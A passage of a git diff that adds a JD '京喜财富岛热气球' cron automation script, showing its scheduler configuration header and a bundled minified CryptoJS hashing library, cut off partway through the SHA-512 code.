e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_cfd_loop.js b/jd_cfd_loop.js new file mode 100644 index 0000000..f02b5e8 --- /dev/null +++ b/jd_cfd_loop.js @@ -0,0 +1,444 @@ +/* +京喜财富岛热气球 +cron 30 * * * * jd_cfd_loop.js +活动入口:京喜APP-我的-京喜财富岛 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京喜财富岛热气球 +30 * * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_loop.js, tag=京喜财富岛热气球, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxcfd.png, enabled=true +================Loon============== +[Script] +cron "30 * * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_loop.js,tag=京喜财富岛热气球 +===============Surge================= +京喜财富岛热气球 = type=cron,cronexp="30 * * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_loop.js +============小火箭========= +京喜财富岛热气球 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_loop.js, cronexpr="30 * * * *", timeout=3600, enable=true + */ +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), 